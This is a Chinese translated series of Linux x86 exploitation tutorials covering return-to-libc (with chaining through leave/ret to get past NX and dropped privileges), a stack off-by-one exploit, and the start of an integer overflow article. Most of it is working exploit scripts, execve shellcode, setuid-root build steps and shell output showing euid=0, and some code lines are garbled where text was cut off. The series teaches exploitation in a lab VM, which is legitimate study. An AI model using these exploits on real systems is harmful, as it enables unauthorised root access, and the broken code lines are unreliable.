这项技术不去覆盖返回地址,而是直接覆盖libc函数地址(这个例子中的seteuid函数),我们采用”leave ret”指令来覆盖。 这让攻击者有机会将函数参数存放在栈中而不必有任何交叉,而且能调用相应的libc函数,并不会带来任何问题。

栈布局 如下面栈布局所示,帧指针攻击者溢出栈并成功链接libc函数: seteuid, system与exit:




上图中红色强调的部分是”leave ret”指令调用其上方libc函数的返回地址。举个例子,第一条”leave ret”指令(位于栈地址0xbffff1fc处)调用seteuid(),第二条”leave ret”指令(位于栈地址0xbffff20c处)调用system(),第三条”leave ret”指令(位于栈地址0xbffff21c处)调用exit().

leave ret指令是如何调用其上方libc函数的

为了回答这个问题,首先我们要了解”leave”指令。一条”leave”指令可以翻译成:

1
2
mov ebp,esp //esp = ebp
pop ebp //ebp = *esp

我们来反汇编main()函数,以便更进一步了解“leave ret”指令

1
2
3
4
5
6
7
(gdb) disassemble main
Dump of assembler code for function main:
...
0x0804851c <+88>: leave //mov ebp, esp; pop ebp;
0x0804851d <+89>: ret //return
End of assembler dump.
(gdb)

Main尾声代码:

如上述栈布局所示,在main函数尾声代码执行之前,攻击者已经溢出栈并用fake_ebp0(0xbffff204)覆盖了main函数的ebp,以及利用”leave ret”指令地址(0x0804851c)覆盖了其返回地址。 现在当CPU要执行main函数的尾声代码时,EIP指向text地址0x0804851c(”leave ret”)。在执行过程中,会发生下面的事情:

  • ‘leave’修改了下面的寄存器
    • esp = ebp = 0xbffff1f8
    • ebp = 0xbffff204, esp = 0xbffff1fc
  • ‘ret’执行”leave ret”指令(位于栈地址0xbffff1fc处)

seteuid: 现在EIP又重新指向text地址0x0804851c(“leave ret”). 在执行过程中,会发生下面的事情:

  • ‘leave’修改了下面的寄存器
    • esp = ebp = 0xbffff204
    • ebp = 0xbffff214, esp =0xbffff208
  • ‘ret’执行seteuis()(位于栈地址0xbffff208). 为了能成功调用seteuid,seteuid_arg必须放在栈地址0xbffff210的偏移量8处(比如seteuid_add)
  • 调用seteuid()后,”leave ret”指令(位于栈地址0xbffff20c处)开始执行

可以从上面的栈布局看出,执行上述过程,栈已经按照攻击者的意图设置好,system和exit函数都能得到执行。

问题2: 在我们的例子中,seteuid必须为0. 但0已经变成一个不好的字符,如何将0写在栈地址0xbffff210处呢?Nergal的同一篇文中讲了一个简单的方法。在链接libc相关函数时,前几个调用必须是strcp函数(其将一个NULL字节拷贝到seteuid_arg在栈中的位置)。

注意: 但不幸地是我的libc.so.6中strcpy函数的地址是0xb7ea6200。 libc函数地址本身包含一个NULL字节(不好的字符!)。 因此,strcpy不能成功地利用漏洞代码。sprintf(函数地址是0xb7e6e8d0)可以用来替代strcpy。使用sprintf时,NULL字节被拷贝到seteuid_arg在栈中的位置。

因此链接下面的libc函数可以解决上面提到的两个问题并成功获取root shell:

sprintf|sprintf|sprintf|sprintf|seteuid|system|exit

漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
fake_ebp0 = 0xbffff1a0
fake_ebp1 = 0xbffff1b8
fake_ebp2 = 0xbffff1d0
fake_ebp3 = 0xbffff1e8
fake_ebp4 = 0xbffff204
fake_ebp5 = 0xbffff214
fake_ebp6 = 0xbffff224
fake_ebp7 = 0xbffff234
leave_ret = 0x0804851c
sprintf_addr = 0xb7e6e8d0
seteuid_addr = 0xb7f09720
system_addr = 0xb7e61060
exit_addr = 0xb7e54be0
sprintf_arg1 = 0xbffff210
sprintf_arg2 = 0x80485f0
sprintf_arg3 = 0xbffff23c
system_arg = 0x804829d
exit_arg = 0xffffffff
#endianess convertion
def conv(num):
return struct.pack("<I",num* 264
buf += conv(fake_ebp0)
buf += conv(leave_ret)
#Below four stack frames are for sprintf (to setup seteuid arg )
buf += conv(fake_ebp1)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
buf += conv(fake_ebp2)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
sprintf_arg1 += 1
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
buf += conv(fake_ebp3)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
sprintf_arg1 += 1
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
buf += conv(fake_ebp4)
buf += conv(sprintf_addr)
buf += conv(leave_ret)
sprintf_arg1 += 1
buf += conv(sprintf_arg1)
buf += conv(sprintf_arg2)
buf += conv(sprintf_arg3)
#Dummy - To avoid null byte in fake_ebp4.
buf += "X" * 4
#Below stack frame is for seteuid
buf += conv(fake_ebp5)
buf += conv(seteuid_addr)
buf += conv(leave_ret)
#Dummy - This arg is zero'd by above four sprintf calls
buf += "Y" * 4
#Below stack frame is for system
buf += conv(fake_ebp6)
buf += conv(system_addr)
buf += conv(leave_ret)
buf += conv(system_arg)
#Below stack frame is for exit
buf += conv(fake_ebp7)
buf += conv(exit_addr)
buf += conv(leave_ret)
buf += conv(exit_arg)
print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的漏洞利用代码就可以拿到root shell!!!

1
2
3
4
5
6
7
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����������������\��������������\��������������\�������������\��� �������AAAA0�������Ѕ
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

现在已经成功绕过NX,下一篇文章让我们来看看如果绕过ASLR.


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Return-to-libc链接绕过NX》与作者信息:CSysSec出品

Return-to-libc绕过NX

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Return-to-libc绕过NX》与作者信息:CSysSec出品


  • 0X01 什么是NX比特位
  • 0X02 如何绕过NX比特位做到任意代码执行
  • 0X03 什么是最低权限准则
  • 0X04 root setuid程序漏洞利用

阅读基础:

  1. 经典栈缓冲区溢出

VM Setup: Ubuntu 12.04 (x86)

在前面的文章中,我们可以了解到,攻击者可以:

将shellcode拷贝到栈中,再跳转到shellcode

来达到成功利用漏洞代码的目的。

因此,为了阻止攻击者的行为,安全研究人员开始利用“NX”比特位来缓解漏洞利用方法(exploit mitigation)。

什么是NX比特位

这种漏洞利用缓解方法将指定内存区域设置为不可执行,并将可执行的区域设置为不可写。举个例子:数据段、栈和堆设置为不可执行,text段设置为不可写。

设置NX位后,经典的栈缓冲区溢出无法利用其漏洞。那是因为,在经典的方法中,shellcode被拷贝到栈中,返回地址指向shellcode。然而,现在的情况是栈被设置位不可执行,漏洞利用(exploit)就会失败。 当然,这种缓解(mitigation)技术也不是完全安全的,这篇文章就来看看我们是如何绕过NX比特位的!!!

漏洞代码: 下面这份代码基于前文中漏洞代码作了一点修改。我会在后文中讲述修改的必要性。

1
2
3
4
5
6
7
8
9
10
11
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}

编译命令:

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意: “-z exexstack”参数并没有传递给gcc,因此这时栈是不可执行的(Non eXecutable),可以通过下述方法来验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ readelf -l vuln
...
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
...
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$

栈中只有RW标志位,并没有E标志位!

如何绕过NX比特位做到任意代码执行

可以通过“return-to-libc”技术来绕过NX比特位。这里,返回地址被一种特殊的libc函数地址(而不是含有shellcode代码的栈地址)覆盖。举个例子,如果攻击者想触发一个shell, 他会利用system()地址来覆盖返回地址并设置好system()在栈中需要的必要参数,以便能成功调用system()。

之前我们已经反汇编并画出了漏洞代码的栈布局。现在开始写个漏洞利用代码来绕过NX比特位吧!

漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
#For example system address = libc base address + system offset
#where
#libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
#system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
system = 0xb7e61060 #0xb7e2000+0x0003f060
exit = 0xb7e54be0 #0xb7e2000+0x00032be0
#system_arg points to 'sh' substring of 'fflush' string.
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c.
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d #(obtained from hexdump output of the binary)
#endianess conversion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])

执行上述漏洞利用代码,可以得到一个具有root权限的shell,如下图所示:

1
2
3
4
5
6
7
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

太棒了,我们拿到了root shell! 但在实际应用程序中,root setuid 程序设置了最低权限准则,获取root shell并没那么容易!

什么是最低权限准则

这种技术允许root setuid程序只有在需要的情况下才能获取root权限。也就是说,在需要时,root setuid程序拿到root 权限,不需要时就会丢弃已获取的权限。root setuid一般会在接收用户输入之前会丢弃root权限。因此,尽管用户输入是恶意的,攻击者也无法后去root shell。 举个例子,下面的漏洞代码不允许攻击者获取root shell。

1
2
3
4
5
6
7
8
9
10
11
12
//vuln_priv.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}

对于上述漏洞程序,当我们执行下面的漏洞利用代码时,无法获取root shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e61060
exit = 0xb7e54be0
system_arg = 0x804829d
#endianess conversion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln_priv", buf])

注意:exp_priv.py对exp.py稍作了一点修改!仅仅调整了system_arg变量

1
2
3
4
5
6
7
8
9
10
$ python exp_priv.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$
到这里就完事了吗?那该如何对应用最低权限准则的root setuid程序进行漏洞利用呢?

root setuid程序漏洞利用

针对漏洞代码(vuln_priv),漏洞利用程序(exp_priv.py)调用system()再紧接着调用exit()还不足以获取root shell。 但如果能修改一下漏洞利用程序(exp_priv.py),以下面的顺序调用libc函数:

  • setuid(0)
  • system(“sh”)
  • exit()

这样一来我们就能获取root shell。 这种技术叫做return-to-libc链接(chaining),将会在下一篇中讨论


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Return-to-libc绕过NX》与作者信息:CSysSec出品

栈内off-by-one漏洞利用

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-栈内Off-by-one漏洞利用》与作者信息:CSysSec出品


  • 0X01 什么是off-by-one漏洞
  • 0X02 如何实现任意代码执行
  • 0X03 如果调用者的EBP不在目标缓冲区正上方,该怎么办
  • 0X04 什么情况下调用者的EBP不在目标缓冲区正上方

阅读基础:

  1. 经典栈缓冲区溢出

VM Setup: Ubuntu 12.04 (x86)

0X01 什么是off-by-one漏洞?

将源缓冲区复制到目标缓冲区时,以下情况可能导致Off-By-One漏洞:

源字符串长度等于目标缓冲区长度

当源字符串长度等于目标缓冲区长度时,单个NULL字节就会被复制到目标缓冲区上方。这种情况下,由于目标缓冲区存储在栈内,因此,仅凭单个NULL字节就能把栈内调用者EBP的最低有效位(LSB)覆盖掉。

依照惯例,未免定义过于枯燥,下面我们就来看一则Off-By-One漏洞代码。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}

编译命令:

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

上述漏洞代码的第[2]行就是Off-By-One溢出问题可能出现的地方。由于目标缓冲区长度为256,因此256字节的源字符串就可能导致任意代码执行。

注:本系列所有文章中第[N]行代码指的的代码中显示/*[N]*/的位置。

0X02 如何实现任意代码执行

任意代码执行是通过“EBP 覆盖(EBP overwrite)”方法实现的。如果调用者的EBP位于目标缓冲区上方,那么执行strcpy后,调用者的EBP的LSB很可能已然被单个NULL字节覆盖了。为了进一步了解off-by-one,我们来反汇编一则漏洞代码并且画出它的堆栈布局吧。

反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
(gdb) disassemble main
Dump of assembler code for function main:
//Function Prologue
0x08048497 <+0>: push %ebp //backup caller's ebp
0x08048498 <+1>: mov %esp,%ebp //set callee's (main) ebp to esp
0x0804849a <+3>: push %edi //backup EDI
0x0804849b <+4>: sub $0x8,%esp //create stack space
0x0804849e <+7>: mov 0xc(%ebp),%eax //eax = argv
0x080484a1 <+10>: add $0x4,%eax //eax = &argv[1]
0x080484a4 <+13>: mov (%eax),%eax //eax = argv[1]
0x080484a6 <+15>: movl $0xffffffff,-0x8(%ebp) //String Length Calculation -- Begins here
0x080484ad <+22>: mov %eax,%edx
0x080484af <+24>: mov $0x0,%eax
0x080484b4 <+29>: mov -0x8(%ebp),%ecx
0x080484b7 <+32>: mov %edx,%edi
0x080484b9 <+34>: repnz scas %es:(%edi),%al
0x080484bb <+36>: mov %ecx,%eax
0x080484bd <+38>: not %eax
0x080484bf <+40>: sub $0x1,%eax //String Length Calculation -- Ends here
0x080484c2 <+43>: cmp $0x100,%eax //eax = strlen(argv[1]). if eax > 256
0x080484c7 <+48>: jbe 0x80484e9 <main+82> //Jmp if NOT greater
0x080484c9 <+50>: movl $0x80485e0,(%esp) //If greater print error string,flush and return.
0x080484d0 <+57>: call 0x8048380 <puts@plt>
0x080484d5 <+62>: mov 0x804a020,%eax
0x080484da <+67>: mov %eax,(%esp)
0x080484dd <+70>: call 0x8048360 <fflush@plt>
0x080484e2 <+75>: mov $0x1,%eax
0x080484e7 <+80>: jmp 0x80484fe <main+103>
0x080484e9 <+82>: mov 0xc(%ebp),%eax //argv[1] <= 256, eax = argv
0x080484ec <+85>: add $0x4,%eax //eax = &argv[1]
0x080484ef <+88>: mov (%eax),%eax //eax = argv[1]
0x080484f1 <+90>: mov %eax,(%esp) //foo arg
0x080484f4 <+93>: call 0x8048464 //call foo
0x080484f9 <+98>: mov $0x0,%eax //return value
//Function Epilogue
0x080484fe <+103>: add $0x8,%esp //unwind stack space
0x08048501 <+106>: pop %edi //restore EDI
0x08048502 <+107>: pop %ebp //restore EBP
0x08048503 <+108>: ret //return
End of assembler dump.
(gdb) disassemble foo
Dump of assembler code for function foo:
//Function prologue
0x08048464 <+0>: push %ebp //backup caller's (main) ebp
0x08048465 <+1>: mov %esp,%ebp //set callee's (foo) ebp to esp
0x08048467 <+3>: sub $0x4,%esp //create stack space
0x0804846a <+6>: mov 0x8(%ebp),%eax //foo arg
0x0804846d <+9>: mov %eax,(%esp) //bar arg = foo arg
0x08048470 <+12>: call 0x8048477 //call bar
//Function Epilogue
0x08048475 <+17>: leave //unwind stack space + restore ebp
0x08048476 <+18>: ret //return
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
//Function Prologue
0x08048477 <+0>: push %ebp //backup caller's (foo) ebp
0x08048478 <+1>: mov %esp,%ebp //set callee's (bar) ebp to esp
0x0804847a <+3>: sub $0x108,%esp //create stack space
0x08048480 <+9>: mov 0x8(%ebp),%eax //bar arg
0x08048483 <+12>: mov %eax,0x4(%esp) //strcpy arg2
0x08048487 <+16>: lea -0x100(%ebp),%eax //buf
0x0804848d <+22>: mov %eax,(%esp) //strcpy arg1
0x08048490 <+25>: call 0x8048370 <strcpy@plt> //call strcpy
//Function Epilogue
0x08048495 <+30>: leave //unwind stack space + restore ebp
0x08048496 <+31>: ret //return
End of assembler dump.
(gdb)

堆栈布局:




前面讲到,用户输入了256字节大小的数据,NULL字节就会覆盖foo的EBP的LSB。所以当存储于目标缓冲区‘buf’正上方的foo的EBP被单个NULL字节覆盖时,EBP就会由0xbffff2d8 变为0xbffff200。细看堆栈布局图,我们会发现栈地址0xbffff200就是目标缓冲区‘buf’的一部分,而既然用户输入值已经被复制进了这个目标缓冲区,那么攻击者就能得到这个栈地址(0xbffff200)的控制权,同时也得到了EIP的控制权,从而借此实现任意代码执行。我们来发送一串大小为256字节的“A”进行测试。

测试第一步:EBP覆盖后出现返回地址覆盖是否有可能?

1
2
3
4
5
6
7
8
(gdb) r `python -c 'print "A"*256'`
Starting program: /home/sploitfun/lsploits/new/obo/stack/vuln `python -c 'print "A"*256'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

上述输出结果显示,EBP覆盖会让我们得到EIP的控制权。

测试第二步:来自目标缓冲区的偏移量是什么?

现在我们需要在目标缓冲区‘buf’的起始端中找到偏移量。我们还需设置好返回地址。切记,在off-by-one漏洞中,我们并不是要覆盖栈中的实际返回地址(在栈缓冲区溢出漏洞利用代码中我们才覆盖实际返回地址),而是把攻击者控制的目标缓冲区‘buf’内的一个4字节内存区域视作返回地址位置,对这块区域进行覆盖(在off-by-one溢出之后)。因此,我们需要(从‘buf’中)找到这个返回地址位置的偏移量——而这个偏移量也是目标缓冲区‘buf’本身的一部分。
这段话有点绕,没关系,继续往下读就好。
我们先试着从 text 段地址0x0804840开始尝试理解CPU的执行:

  • 0x08048490 - call strcpy – 执行这个指令会导致off-by-one溢出,因此(储存在栈地址0xbffff2cc中的)foo的EBP值将会由0xbffff2d8变为0xbffff200。
  • 0x08048495 - leave - leave指令释放了这个函数的栈空间并且恢复了EBP。
1
2
3
4
5
leave: mov ebp, esp; //unwind stack space by setting esp to ebp.
pop ebp; //restore ebp
*** As per our example: ***
leave: mov ebp, esp; //esp = ebp = 0xbffff2cc
pop ebp; //ebp = 0xbffff200 (Overwritten EBP value is now stored in ebp register); esp = 0xbffff2d0
  • 0x08048495 - ret - 返回到foo的指令0x08048475。
  • 0x08048475 - leave - leave指令释放了这个函数的栈空间并且恢复了EBP。
1
2
3
*** As per our example: ***
leave: mov ebp, esp; //esp = ebp = 0xbffff200 (As part of unwinding esp is shifted down instead of up!!)
pop ebp; //ebp = 0x41414141; esp = 0xbffff204
  • 0x08048476 - ret - 返回到储存在ESP (0xbffff204)中的指令中。此时ESP指向被攻击者控制的缓冲区,因此攻击者可以回到任何他想要实现任意代码执行的地方。

现在我们回到“在目标缓冲区‘buf’中寻找返回地址的偏移量”的最初测试上。如堆栈布局图所示,‘buf’位于0xbffff158,并且由紧随其后的CPU执行中可知,目标缓冲区‘buf’内的返回地址位置是0xbffff204。因此目标缓冲区‘buf’中返回地址的偏移量是0xbffff204 – 0xbffff158 = 0xac,因此用户输入“A”172 + “B”4 + “A”*80,用“BBBB”覆盖了EIP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat exp_tst.py
#exp_tst.py
#!/usr/bin/env python
import struct
from subprocess import call
buf = "A" * 172
buf += "B" * 4
buf += "A" * 80
print "Calling vulnerable program"
call(["./vuln", buf])
$ python exp_tst.py
Calling vulnerable program
$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/obo/stack/vuln...(no debugging symbols found)...done.
(gdb) core-file core
[New LWP 4055]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

上述输出结果显示,攻击者控制了返回地址。此时返回地址位于buf的偏移(0xac)处。有了上面这些信息,我们就可以写出能实现任意代码执行的漏洞利用程序了。

漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Spawn a shell.
#execve(/bin/sh) Size- 28 bytes.
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xbffff218
#endianess conversion
def conv(num):
return struct.pack("<I",numturn Address + NOP's + Shellcode + Junk
buf = "A" * 172
buf += conv(ret_addr)
buf += "\x90" * 30
buf += scode
buf += "A" * 22
print "Calling vulnerable program"
call(["./vuln", buf])

执行上述漏洞利用程序将会获取root shell,如下所示:

1
2
3
4
5
6
$ python exp.py
Calling vulnerable program
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Off-by-one看上去是一个特别蠢的漏洞,而且程序开发者一个这么小的错误也能导致任意代码执行,这也太诡异了。那么,off-by-one漏洞是不是一定会导致任意代码执行呢?

0X03 如果调用者的EBP不在目标缓冲区上方,该怎么办

答案非常简单。如果那样的话,我们不能用“EBP覆盖”方法来利用这个漏洞了呗!(不过呢,毕竟这个漏洞在代码中是确实存在的,所以肯定有其他的漏洞利用方法啦。😛)

0X04 什么情况下调用者的EBP不在目标缓冲区上方

情况1: 一些其他的本地变量出现在目标缓冲区上方

1
2
3
4
5
6
7
...
void bar(char* arg) {
int x = 10; /* [1] */
char buf[256]; /* [2] */
strcpy(buf, arg); /* [3] */
}
...

因此在这种情况下,夹在缓冲区‘buf’末端和EBP之间的会是一个本地变量,这就不允许我们去覆盖EBP的LSB了。

情况2: 对齐空间——gcc对齐栈空间边界默认为16字节。即在创建栈空间之前,ESP的最后四个字节就被‘and’指令清零了。具体参见下方函数反汇编代码。

1
2
3
4
5
6
7
Dump of assembler code for function main:
0x08048497 <+0>: push %ebp
0x08048498 <+1>: mov %esp,%ebp
0x0804849a <+3>: push %edi
0x0804849b <+4>: and $0xfffffff0,%esp //Stack space aligned to 16 byte boundary
0x0804849e <+7>: sub $0x20,%esp //create stack space
...

因此,在这种情况下,夹在缓冲区‘buf’末端和EBP之间的会是一个(最大为12字节的)对齐空间,这就不允许我们去覆盖EBP的LSB了。

由于这个原因,我们在编译漏洞利用代码(vuln.c)时添加了gcc参数“-mpreferred-stack-boundary=2”

求助:如果在创建栈内容之前ESP边界已经对齐为16字节的话该怎么办?这种情况下,即使程序以gcc默认的16字节栈边界编译,按理来说“EBP覆盖”法也是可以用的。但是我一直都写不出有效代码。在我所有的试运行程序中,创建栈空间之前,ESP边界都没有对齐16字节。但是不管我多么小心地创建栈内容,gcc总是给本地变量添加额外空间,这样ESP边界就不能对齐16字节。如果任何人有有效代码或者知道为什么ESP总是无法对齐,麻烦告诉我!拜托了!

参考文章:

  1. http://seclists.org/bugtraq/1998/Oct/109

转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-栈内Off-by-one漏洞利用》与作者信息:CSysSec出品

整型溢出利用

作者:CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-整型溢出利用》与作者信息:CSysSec出品


  • 0X01 什么是整型上溢出(Integer Overflow)
  • 0X02 整型下溢出(Integer underflow)
  • 0X03 利用整型溢出漏洞

VM Setup: Ubuntu 12.04 (x86)

注:本文中overflow指上溢出,underflow指下溢出。默认情况下,溢出指的都是上溢出。

0X01 什么是整型上溢出

存储的数值大于支持的最大上限值,即为整型溢出。整型溢出本身不会直接导致任意代码执行,但是它会导致栈溢出或堆溢出,而后两者都会导致任意代码执行。本文我只谈论导致栈溢出的整型溢出,而导致堆溢出的整型溢出我会放在以后的文章中单独讲。

数据类型大小和范围:




当我们要存储的数值大于支持的最大上限值时,数值就会错乱。打个比方,如果我们把2147483648存进有符号整型数据,那么这串数字就会错乱,其值会变为-21471483648。这就叫做整型溢出,并且这种溢出有可能导致任意代码执行。

0X02 整型下溢出(Integer underflow)

与整型上溢出类似,存储数值小于支持的最小下限值,即为整型下溢出。打个比方,如果我们把-2147483649存进有符号整型数据,那么这串数字就会错乱,其值会变为21471483647。这就叫做整型下溢出。本文中我虽然只讲整型上溢出,但是同样的技术也适用于整型下溢出。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
